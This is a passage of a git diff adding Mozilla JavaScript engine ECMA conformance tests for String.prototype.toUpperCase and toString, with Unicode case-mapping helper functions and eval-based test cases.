+ // Range: U+AC00 to U+D7A3
+
+ // High Surrogates
+ // Range: U+D800 to U+DB7F
+
+ // Private Use High Surrogates
+ // Range: U+DB80 to U+DBFF
+
+ // Low Surrogates
+ // Range: U+DC00 to U+DFFF
+
+ // Private Use Area
+ // Range: U+E000 to U+F8FF
+
+ // CJK Compatibility Ideographs
+ // Range: U+F900 to U+FAFF
+
+ // Alphabetic Presentation Forms
+ // Range: U+FB00 to U+FB4F
+
+ // Arabic Presentation Forms-A
+ // Range: U+FB50 to U+FDFF
+
+ // Combining Half Marks
+ // Range: U+FE20 to U+FE2F
+
+ // CJK Compatibility Forms
+ // Range: U+FE30 to U+FE4F
+
+ // Small Form Variants
+ // Range: U+FE50 to U+FE6F
+
+ // Arabic Presentation Forms-B
+ // Range: U+FE70 to U+FEFF
+
+ // Halfwidth and Fullwidth Forms
+ // Range: U+FF00 to U+FFEF
+
+ if ( c >= 0xFF21 && c <= 0xFF3A ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ if ( c >= 0xFF41 && c <= 0xFF5A ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+
+ // Specials
+ // Range: U+FFF0 to U+FFFF
+
+ return u;
+}
+
+function DecimalToHexString( n ) {
+ n = Number( n );
+ var h = "0x";
+
+ for ( var i = 3; i >= 0; i-- ) {
+ if ( n >= Math.pow(16, i) ){
+ var t = Math.floor( n / Math.pow(16, i));
+ n -= t * Math.pow(16, i);
+ if ( t >= 10 ) {
+ if ( t == 10 ) {
+ h += "A";
+ }
+ if ( t == 11 ) {
+ h += "B";
+ }
+ if ( t == 12 ) {
+ h += "C";
+ }
+ if ( t == 13 ) {
+ h += "D";
+ }
+ if ( t == 14 ) {
+ h += "E";
+ }
+ if ( t == 15 ) {
+ h += "F";
+ }
+ } else {
+ h += String( t );
+ }
+ } else {
+ h += "0";
+ }
+ }
+
+ return h;
+}
+
diff --git a/js/src/tests/ecma/String/15.5.4.12-3.js b/js/src/tests/ecma/String/15.5.4.12-3.js
new file mode 100644
index 000000000..ea7a5d448
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.12-3.js
@@ -0,0 +1,525 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.12-3.js
+ ECMA Section: 15.5.4.12 String.prototype.toUpperCase()
+ Description:
+
+ Returns a string equal in length to the length of the result of converting
+ this object to a string. The result is a string value, not a String object.
+
+ Every character of the result is equal to the corresponding character of the
+ string, unless that character has a Unicode 2.0 uppercase equivalent, in which
+ case the uppercase equivalent is used instead. (The canonical Unicode 2.0 case
+ mapping shall be used, which does not depend on implementation or locale.)
+
+ Note that the toUpperCase function is intentionally generic; it does not require
+ that its this value be a String object. Therefore it can be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.5.4.12-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.toUpperCase()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// Georgian
+// Range: U+10A0 to U+10FF
+for ( var i = 0x10A0; i <= 0x10FF; i++ ) {
+ var U = new Unicode( i );
+/*
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()",
+ String.fromCharCode(U.upper),
+ eval("var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()") );
+*/
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase().charCodeAt(0)",
+ U.upper,
+ eval("var s = new String( String.fromCharCode(i) ); s.toUpperCase().charCodeAt(0)") );
+
+}
+
+// Halfwidth and Fullwidth Forms
+// Range: U+FF00 to U+FFEF
+for ( var i = 0xFF00; i <= 0xFFEF; i++ ) {
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()",
+ eval( "var u = new Unicode( i ); String.fromCharCode(u.upper)" ),
+ eval("var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()") );
+
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase().charCodeAt(0)",
+ eval( "var u = new Unicode( i ); u.upper" ),
+ eval("var s = new String( String.fromCharCode("+i+") ); s.toUpperCase().charCodeAt(0)") );
+}
+
+// Hiragana (no upper / lower case)
+// Range: U+3040 to U+309F
+
+for ( var i = 0x3040; i <= 0x309F; i++ ) {
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()",
+ eval( "var u = new Unicode( i ); String.fromCharCode(u.upper)" ),
+ eval("var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()") );
+
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase().charCodeAt(0)",
+ eval( "var u = new Unicode( i ); u.upper" ),
+ eval("var s = new String( String.fromCharCode("+i+") ); s.toUpperCase().charCodeAt(0)") );
+}
+
+
+/*
+ var TEST_STRING = "";
+ var EXPECT_STRING = "";
+
+ // basic latin test
+
+ for ( var i = 0; i < 0x007A; i++ ) {
+ var u = new Unicode(i);
+ TEST_STRING += String.fromCharCode(i);
+ EXPECT_STRING += String.fromCharCode( u.upper );
+ }
+*/
+
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.substring = String.prototype.substring;
+ this.toString = new Function ( "return this.value+''" );
+}
+function Unicode( c ) {
+ u = GetUnicodeValues( c );
+ this.upper = u[0];
+ this.lower = u[1]
+ return this;
+}
+function GetUnicodeValues( c ) {
+ u = new Array();
+
+ u[0] = c;
+ u[1] = c;
+
+ // upper case Basic Latin
+
+ if ( c >= 0x0041 && c <= 0x005A) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ // lower case Basic Latin
+ if ( c >= 0x0061 && c <= 0x007a ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+
+ // upper case Latin-1 Supplement
+ if ( (c >= 0x00C0 && c <= 0x00D6) || (c >= 0x00D8 && c<=0x00DE) ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ // lower case Latin-1 Supplement
+ if ( (c >= 0x00E0 && c <= 0x00F6) || (c >= 0x00F8 && c <= 0x00FE) ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+ if ( c == 0x00FF ) {
+ u[0] = 0x0178;
+ u[1] = c;
+ return u;
+ }
+ // Latin Extended A
+ if ( (c >= 0x0100 && c < 0x0138) || (c > 0x0149 && c < 0x0178) ) {
+ // special case for capital I
+ if ( c == 0x0130 ) {
+ u[0] = c;
+ u[1] = 0x0069;
+ return u;
+ }
+ if ( c == 0x0131 ) {
+ u[0] = 0x0049;
+ u[1] = c;
+ return u;
+ }
+
+ if ( c % 2 == 0 ) {
+ // if it's even, it's a capital and the lower case is c +1
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ // if it's odd, it's a lower case and upper case is c-1
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+ if ( c == 0x0178 ) {
+ u[0] = c;
+ u[1] = 0x00FF;
+ return u;
+ }
+
+ if ( (c >= 0x0139 && c < 0x0149) || (c > 0x0178 && c < 0x017F) ) {
+ if ( c % 2 == 1 ) {
+ // if it's odd, it's a capital and the lower case is c +1
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ // if it's even, it's a lower case and upper case is c-1
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+ if ( c == 0x017F ) {
+ u[0] = 0x0053;
+ u[1] = c;
+ }
+
+ // Latin Extended B
+ // need to improve this set
+
+ if ( c >= 0x0200 && c <= 0x0217 ) {
+ if ( c % 2 == 0 ) {
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+
+ // Latin Extended Additional
+ // Range: U+1E00 to U+1EFF
+ // http://www.unicode.org/Unicode.charts/glyphless/U1E00.html
+
+ // Spacing Modifier Leters
+ // Range: U+02B0 to U+02FF
+
+ // Combining Diacritical Marks
+ // Range: U+0300 to U+036F
+
+ // skip Greek for now
+ // Greek
+ // Range: U+0370 to U+03FF
+
+ // Cyrillic
+ // Range: U+0400 to U+04FF
+
+ if ( (c >= 0x0401 && c <= 0x040C) || ( c>= 0x040E && c <= 0x040F ) ) {
+ u[0] = c;
+ u[1] = c + 80;
+ return u;
+ }
+
+
+ if ( c >= 0x0410 && c <= 0x042F ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ if ( c >= 0x0430 && c<= 0x044F ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+
+ }
+ if ( (c >= 0x0451 && c <= 0x045C) || (c >=0x045E && c<= 0x045F) ) {
+ u[0] = c -80;
+ u[1] = c;
+ return u;
+ }
+
+ if ( c >= 0x0460 && c <= 0x047F ) {
+ if ( c % 2 == 0 ) {
+ u[0] = c;
+ u[1] = c +1;
+ } else {
+ u[0] = c - 1;
+ u[1] = c;
+ }
+ return u;
+ }
+
+ // Armenian
+ // Range: U+0530 to U+058F
+ if ( c >= 0x0531 && c <= 0x0556 ) {
+ u[0] = c;
+ u[1] = c + 48;
+ return u;
+ }
+ if ( c >= 0x0561 && c < 0x0587 ) {
+ u[0] = c - 48;
+ u[1] = c;
+ return u;
+ }
+
+ // Hebrew
+ // Range: U+0590 to U+05FF
+
+
+ // Arabic
+ // Range: U+0600 to U+06FF
+
+ // Devanagari
+ // Range: U+0900 to U+097F
+
+
+ // Bengali
+ // Range: U+0980 to U+09FF
+
+
+ // Gurmukhi
+ // Range: U+0A00 to U+0A7F
+
+
+ // Gujarati
+ // Range: U+0A80 to U+0AFF
+
+
+ // Oriya
+ // Range: U+0B00 to U+0B7F
+ // no capital / lower case
+
+
+ // Tamil
+ // Range: U+0B80 to U+0BFF
+ // no capital / lower case
+
+
+ // Telugu
+ // Range: U+0C00 to U+0C7F
+ // no capital / lower case
+
+
+ // Kannada
+ // Range: U+0C80 to U+0CFF
+ // no capital / lower case
+
+
+ // Malayalam
+ // Range: U+0D00 to U+0D7F
+
+ // Thai
+ // Range: U+0E00 to U+0E7F
+
+
+ // Lao
+ // Range: U+0E80 to U+0EFF
+
+
+ // Tibetan
+ // Range: U+0F00 to U+0FBF
+
+ // Georgian
+ // Range: U+10A0 to U+10F0
+ if ( c >= 0x10A0 && c <= 0x10C5 ) {
+ u[0] = c;
+ u[1] = c + 48;
+ return u;
+ }
+ if ( c >= 0x10D0 && c <= 0x10F5 ) {
+ u[0] = c;
+ u[1] = c;
+ return u;
+ }
+
+ // Hangul Jamo
+ // Range: U+1100 to U+11FF
+
+ // Greek Extended
+ // Range: U+1F00 to U+1FFF
+ // skip for now
+
+
+ // General Punctuation
+ // Range: U+2000 to U+206F
+
+ // Superscripts and Subscripts
+ // Range: U+2070 to U+209F
+
+ // Currency Symbols
+ // Range: U+20A0 to U+20CF
+
+
+ // Combining Diacritical Marks for Symbols
+ // Range: U+20D0 to U+20FF
+ // skip for now
+
+
+ // Number Forms
+ // Range: U+2150 to U+218F
+ // skip for now
+
+
+ // Arrows
+ // Range: U+2190 to U+21FF
+
+ // Mathematical Operators
+ // Range: U+2200 to U+22FF
+
+ // Miscellaneous Technical
+ // Range: U+2300 to U+23FF
+
+ // Control Pictures
+ // Range: U+2400 to U+243F
+
+ // Optical Character Recognition
+ // Range: U+2440 to U+245F
+
+ // Enclosed Alphanumerics
+ // Range: U+2460 to U+24FF
+
+ // Box Drawing
+ // Range: U+2500 to U+257F
+
+ // Block Elements
+ // Range: U+2580 to U+259F
+
+ // Geometric Shapes
+ // Range: U+25A0 to U+25FF
+
+ // Miscellaneous Symbols
+ // Range: U+2600 to U+26FF
+
+ // Dingbats
+ // Range: U+2700 to U+27BF
+
+ // CJK Symbols and Punctuation
+ // Range: U+3000 to U+303F
+
+ // Hiragana
+ // Range: U+3040 to U+309F
+
+ // Katakana
+ // Range: U+30A0 to U+30FF
+
+ // Bopomofo
+ // Range: U+3100 to U+312F
+
+ // Hangul Compatibility Jamo
+ // Range: U+3130 to U+318F
+
+ // Kanbun
+ // Range: U+3190 to U+319F
+
+
+ // Enclosed CJK Letters and Months
+ // Range: U+3200 to U+32FF
+
+ // CJK Compatibility
+ // Range: U+3300 to U+33FF
+
+ // Hangul Syllables
+ // Range: U+AC00 to U+D7A3
+
+ // High Surrogates
+ // Range: U+D800 to U+DB7F
+
+ // Private Use High Surrogates
+ // Range: U+DB80 to U+DBFF
+
+ // Low Surrogates
+ // Range: U+DC00 to U+DFFF
+
+ // Private Use Area
+ // Range: U+E000 to U+F8FF
+
+ // CJK Compatibility Ideographs
+ // Range: U+F900 to U+FAFF
+
+ // Alphabetic Presentation Forms
+ // Range: U+FB00 to U+FB4F
+
+ // Arabic Presentation Forms-A
+ // Range: U+FB50 to U+FDFF
+
+ // Combining Half Marks
+ // Range: U+FE20 to U+FE2F
+
+ // CJK Compatibility Forms
+ // Range: U+FE30 to U+FE4F
+
+ // Small Form Variants
+ // Range: U+FE50 to U+FE6F
+
+ // Arabic Presentation Forms-B
+ // Range: U+FE70 to U+FEFF
+
+ // Halfwidth and Fullwidth Forms
+ // Range: U+FF00 to U+FFEF
+
+ if ( c >= 0xFF21 && c <= 0xFF3A ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ if ( c >= 0xFF41 && c <= 0xFF5A ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+
+ // Specials
+ // Range: U+FFF0 to U+FFFF
+
+ return u;
+}
+
+function DecimalToHexString( n ) {
+ n = Number( n );
+ var h = "0x";
+
+ for ( var i = 3; i >= 0; i-- ) {
+ if ( n >= Math.pow(16, i) ){
+ var t = Math.floor( n / Math.pow(16, i));
+ n -= t * Math.pow(16, i);
+ if ( t >= 10 ) {
+ if ( t == 10 ) {
+ h += "A";
+ }
+ if ( t == 11 ) {
+ h += "B";
+ }
+ if ( t == 12 ) {
+ h += "C";
+ }
+ if ( t == 13 ) {
+ h += "D";
+ }
+ if ( t == 14 ) {
+ h += "E";
+ }
+ if ( t == 15 ) {
+ h += "F";
+ }
+ } else {
+ h += String( t );
+ }
+ } else {
+ h += "0";
+ }
+ }
+
+ return h;
+}
diff --git a/js/src/tests/ecma/String/15.5.4.12-5.js b/js/src/tests/ecma/String/15.5.4.12-5.js
new file mode 100644
index 000000000..505fadd0d
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.12-5.js
@@ -0,0 +1,481 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.12-1.js
+ ECMA Section: 15.5.4.12 String.prototype.toUpperCase()
+ Description:
+
+ Returns a string equal in length to the length of the result of converting
+ this object to a string. The result is a string value, not a String object.
+
+ Every character of the result is equal to the corresponding character of the
+ string, unless that character has a Unicode 2.0 uppercase equivalent, in which
+ case the uppercase equivalent is used instead. (The canonical Unicode 2.0 case
+ mapping shall be used, which does not depend on implementation or locale.)
+
+ Note that the toUpperCase function is intentionally generic; it does not require
+ that its this value be a String object. Therefore it can be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.5.4.12-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.toUpperCase()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// Armenian
+// Range: U+0530 to U+058F
+for ( var i = 0x0530; i <= 0x058F; i++ ) {
+ var U = new Unicode( i );
+/*
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()",
+ String.fromCharCode(U.upper),
+ eval("var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()") );
+*/
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase().charCodeAt(0)",
+ U.upper,
+ eval("var s = new String( String.fromCharCode(i) ); s.toUpperCase().charCodeAt(0)") );
+
+}
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.substring = String.prototype.substring;
+ this.toString = new Function ( "return this.value+''" );
+}
+function Unicode( c ) {
+ u = GetUnicodeValues( c );
+ this.upper = u[0];
+ this.lower = u[1]
+ return this;
+}
+function GetUnicodeValues( c ) {
+ u = new Array();
+
+ u[0] = c;
+ u[1] = c;
+
+ // upper case Basic Latin
+
+ if ( c >= 0x0041 && c <= 0x005A) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ // lower case Basic Latin
+ if ( c >= 0x0061 && c <= 0x007a ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+
+ // upper case Latin-1 Supplement
+ if ( (c >= 0x00C0 && c <= 0x00D6) || (c >= 0x00D8 && c<=0x00DE) ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ // lower case Latin-1 Supplement
+ if ( (c >= 0x00E0 && c <= 0x00F6) || (c >= 0x00F8 && c <= 0x00FE) ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+ if ( c == 0x00FF ) {
+ u[0] = 0x0178;
+ u[1] = c;
+ return u;
+ }
+ // Latin Extended A
+ if ( (c >= 0x0100 && c < 0x0138) || (c > 0x0149 && c < 0x0178) ) {
+ // special case for capital I
+ if ( c == 0x0130 ) {
+ u[0] = c;
+ u[1] = 0x0069;
+ return u;
+ }
+ if ( c == 0x0131 ) {
+ u[0] = 0x0049;
+ u[1] = c;
+ return u;
+ }
+
+ if ( c % 2 == 0 ) {
+ // if it's even, it's a capital and the lower case is c +1
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ // if it's odd, it's a lower case and upper case is c-1
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+ if ( c == 0x0178 ) {
+ u[0] = c;
+ u[1] = 0x00FF;
+ return u;
+ }
+
+ if ( (c >= 0x0139 && c < 0x0149) || (c > 0x0178 && c < 0x017F) ) {
+ if ( c % 2 == 1 ) {
+ // if it's odd, it's a capital and the lower case is c +1
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ // if it's even, it's a lower case and upper case is c-1
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+ if ( c == 0x017F ) {
+ u[0] = 0x0053;
+ u[1] = c;
+ }
+
+ // Latin Extended B
+ // need to improve this set
+
+ if ( c >= 0x0200 && c <= 0x0217 ) {
+ if ( c % 2 == 0 ) {
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+
+ // Latin Extended Additional
+ // Range: U+1E00 to U+1EFF
+ // http://www.unicode.org/Unicode.charts/glyphless/U1E00.html
+
+ // Spacing Modifier Leters
+ // Range: U+02B0 to U+02FF
+
+ // Combining Diacritical Marks
+ // Range: U+0300 to U+036F
+
+ // skip Greek for now
+ // Greek
+ // Range: U+0370 to U+03FF
+
+ // Cyrillic
+ // Range: U+0400 to U+04FF
+
+ if ( (c >= 0x0401 && c <= 0x040C) || ( c>= 0x040E && c <= 0x040F ) ) {
+ u[0] = c;
+ u[1] = c + 80;
+ return u;
+ }
+
+
+ if ( c >= 0x0410 && c <= 0x042F ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ if ( c >= 0x0430 && c<= 0x044F ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+
+ }
+ if ( (c >= 0x0451 && c <= 0x045C) || (c >=0x045E && c<= 0x045F) ) {
+ u[0] = c -80;
+ u[1] = c;
+ return u;
+ }
+
+ if ( c >= 0x0460 && c <= 0x047F ) {
+ if ( c % 2 == 0 ) {
+ u[0] = c;
+ u[1] = c +1;
+ } else {
+ u[0] = c - 1;
+ u[1] = c;
+ }
+ return u;
+ }
+
+ // Armenian
+ // Range: U+0530 to U+058F
+ if ( c >= 0x0531 && c <= 0x0556 ) {
+ u[0] = c;
+ u[1] = c + 48;
+ return u;
+ }
+ if ( c >= 0x0561 && c < 0x0587 ) {
+ u[0] = c - 48;
+ u[1] = c;
+ return u;
+ }
+
+ // Hebrew
+ // Range: U+0590 to U+05FF
+
+
+ // Arabic
+ // Range: U+0600 to U+06FF
+
+ // Devanagari
+ // Range: U+0900 to U+097F
+
+
+ // Bengali
+ // Range: U+0980 to U+09FF
+
+
+ // Gurmukhi
+ // Range: U+0A00 to U+0A7F
+
+
+ // Gujarati
+ // Range: U+0A80 to U+0AFF
+
+
+ // Oriya
+ // Range: U+0B00 to U+0B7F
+ // no capital / lower case
+
+
+ // Tamil
+ // Range: U+0B80 to U+0BFF
+ // no capital / lower case
+
+
+ // Telugu
+ // Range: U+0C00 to U+0C7F
+ // no capital / lower case
+
+
+ // Kannada
+ // Range: U+0C80 to U+0CFF
+ // no capital / lower case
+
+
+ // Malayalam
+ // Range: U+0D00 to U+0D7F
+
+ // Thai
+ // Range: U+0E00 to U+0E7F
+
+
+ // Lao
+ // Range: U+0E80 to U+0EFF
+
+
+ // Tibetan
+ // Range: U+0F00 to U+0FBF
+
+ // Georgian
+ // Range: U+10A0 to U+10F0
+ if ( c >= 0x10A0 && c <= 0x10C5 ) {
+ u[0] = c;
+ u[1] = c + 48;
+ return u;
+ }
+ if ( c >= 0x10D0 && c <= 0x10F5 ) {
+ u[0] = c;
+ u[1] = c;
+ return u;
+ }
+
+ // Hangul Jamo
+ // Range: U+1100 to U+11FF
+
+ // Greek Extended
+ // Range: U+1F00 to U+1FFF
+ // skip for now
+
+
+ // General Punctuation
+ // Range: U+2000 to U+206F
+
+ // Superscripts and Subscripts
+ // Range: U+2070 to U+209F
+
+ // Currency Symbols
+ // Range: U+20A0 to U+20CF
+
+
+ // Combining Diacritical Marks for Symbols
+ // Range: U+20D0 to U+20FF
+ // skip for now
+
+
+ // Number Forms
+ // Range: U+2150 to U+218F
+ // skip for now
+
+
+ // Arrows
+ // Range: U+2190 to U+21FF
+
+ // Mathematical Operators
+ // Range: U+2200 to U+22FF
+
+ // Miscellaneous Technical
+ // Range: U+2300 to U+23FF
+
+ // Control Pictures
+ // Range: U+2400 to U+243F
+
+ // Optical Character Recognition
+ // Range: U+2440 to U+245F
+
+ // Enclosed Alphanumerics
+ // Range: U+2460 to U+24FF
+
+ // Box Drawing
+ // Range: U+2500 to U+257F
+
+ // Block Elements
+ // Range: U+2580 to U+259F
+
+ // Geometric Shapes
+ // Range: U+25A0 to U+25FF
+
+ // Miscellaneous Symbols
+ // Range: U+2600 to U+26FF
+
+ // Dingbats
+ // Range: U+2700 to U+27BF
+
+ // CJK Symbols and Punctuation
+ // Range: U+3000 to U+303F
+
+ // Hiragana
+ // Range: U+3040 to U+309F
+
+ // Katakana
+ // Range: U+30A0 to U+30FF
+
+ // Bopomofo
+ // Range: U+3100 to U+312F
+
+ // Hangul Compatibility Jamo
+ // Range: U+3130 to U+318F
+
+ // Kanbun
+ // Range: U+3190 to U+319F
+
+
+ // Enclosed CJK Letters and Months
+ // Range: U+3200 to U+32FF
+
+ // CJK Compatibility
+ // Range: U+3300 to U+33FF
+
+ // Hangul Syllables
+ // Range: U+AC00 to U+D7A3
+
+ // High Surrogates
+ // Range: U+D800 to U+DB7F
+
+ // Private Use High Surrogates
+ // Range: U+DB80 to U+DBFF
+
+ // Low Surrogates
+ // Range: U+DC00 to U+DFFF
+
+ // Private Use Area
+ // Range: U+E000 to U+F8FF
+
+ // CJK Compatibility Ideographs
+ // Range: U+F900 to U+FAFF
+
+ // Alphabetic Presentation Forms
+ // Range: U+FB00 to U+FB4F
+
+ // Arabic Presentation Forms-A
+ // Range: U+FB50 to U+FDFF
+
+ // Combining Half Marks
+ // Range: U+FE20 to U+FE2F
+
+ // CJK Compatibility Forms
+ // Range: U+FE30 to U+FE4F
+
+ // Small Form Variants
+ // Range: U+FE50 to U+FE6F
+
+ // Arabic Presentation Forms-B
+ // Range: U+FE70 to U+FEFF
+
+ // Halfwidth and Fullwidth Forms
+ // Range: U+FF00 to U+FFEF
+
+ if ( c >= 0xFF21 && c <= 0xFF3A ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ if ( c >= 0xFF41 && c <= 0xFF5A ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+
+ // Specials
+ // Range: U+FFF0 to U+FFFF
+
+ return u;
+}
+
+function DecimalToHexString( n ) {
+ n = Number( n );
+ var h = "0x";
+
+ for ( var i = 3; i >= 0; i-- ) {
+ if ( n >= Math.pow(16, i) ){
+ var t = Math.floor( n / Math.pow(16, i));
+ n -= t * Math.pow(16, i);
+ if ( t >= 10 ) {
+ if ( t == 10 ) {
+ h += "A";
+ }
+ if ( t == 11 ) {
+ h += "B";
+ }
+ if ( t == 12 ) {
+ h += "C";
+ }
+ if ( t == 13 ) {
+ h += "D";
+ }
+ if ( t == 14 ) {
+ h += "E";
+ }
+ if ( t == 15 ) {
+ h += "F";
+ }
+ } else {
+ h += String( t );
+ }
+ } else {
+ h += "0";
+ }
+ }
+
+ return h;
+}
diff --git a/js/src/tests/ecma/String/15.5.4.2-1.js b/js/src/tests/ecma/String/15.5.4.2-1.js
new file mode 100644
index 000000000..1dc7e118a
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.2-1.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.2-1.js
+ ECMA Section: 15.5.4.2 String.prototype.toString()
+
+ Description: Returns this string value. Note that, for a String
+ object, the toString() method happens to return the same
+ thing as the valueOf() method.
+
+ The toString function is not generic; it generates a
+ runtime error if its this value is not a String object.
+ Therefore it connot be transferred to the other kinds of
+ objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+
+var SECTION = "15.5.4.2-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.toString";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "String.prototype.toString()", "", String.prototype.toString() );
+new TestCase( SECTION, "(new String()).toString()", "", (new String()).toString() );
+new TestCase( SECTION, "(new String(\"\")).toString()", "", (new String("")).toString() );
+new TestCase( SECTION, "(new String( String() )).toString()","", (new String(String())).toString() );
+new TestCase( SECTION, "(new String( \"h e l l o\" )).toString()", "h e l l o", (new String("h e l l o")).toString() );
+new TestCase( SECTION, "(new String( 0 )).toString()", "0", (new String(0)).toString() );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.2-2-n.js b/js/src/tests/ecma/String/15.5.4.2-2-n.js
new file mode 100644
index 000000000..61b26ca07
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.2-2-n.js
@@ -0,0 +1,39 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.2-2-n.js
+ ECMA Section: 15.5.4.2 String.prototype.toString()
+
+ Description: Returns this string value. Note that, for a String
+ object, the toString() method happens to return the same
+ thing as the valueOf() method.
+
+ The toString function is not generic; it generates a
+ runtime error if its this value is not a String object.
+ Therefore it connot be transferred to the other kinds of
+ objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+
+var SECTION = "15.5.4.2-3-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.toString";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var tostr=String.prototype.toString; astring=new Number(); astring.toString = tostr; astring.toString()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "var tostr=String.prototype.toString; astring=new Number(); astring.toString = tostr; astring.toString()",
+ "error",
+ eval("var tostr=String.prototype.toString; astring=new Number(); astring.toString = tostr; astring.toString()") );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.2-3.js b/js/src/tests/ecma/String/15.5.4.2-3.js
new file mode 100644
index 000000000..3c28c8a32
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.2-3.js
@@ -0,0 +1,49 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.2-3.js
+ ECMA Section: 15.5.4.2 String.prototype.toString()
+
+ Description: Returns this string value. Note that, for a String
+ object, the toString() method happens to return the same
+ thing as the valueOf() method.
+
+ The toString function is not generic; it generates a
+ runtime error if its this value is not a String object.
+ Therefore it connot be transferred to the other kinds of
+ objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+
+
+var SECTION = "15.5.4.2-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.toString";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var tostr=String.prototype.toString; astring=new String(); astring.toString = tostr; astring.toString()",
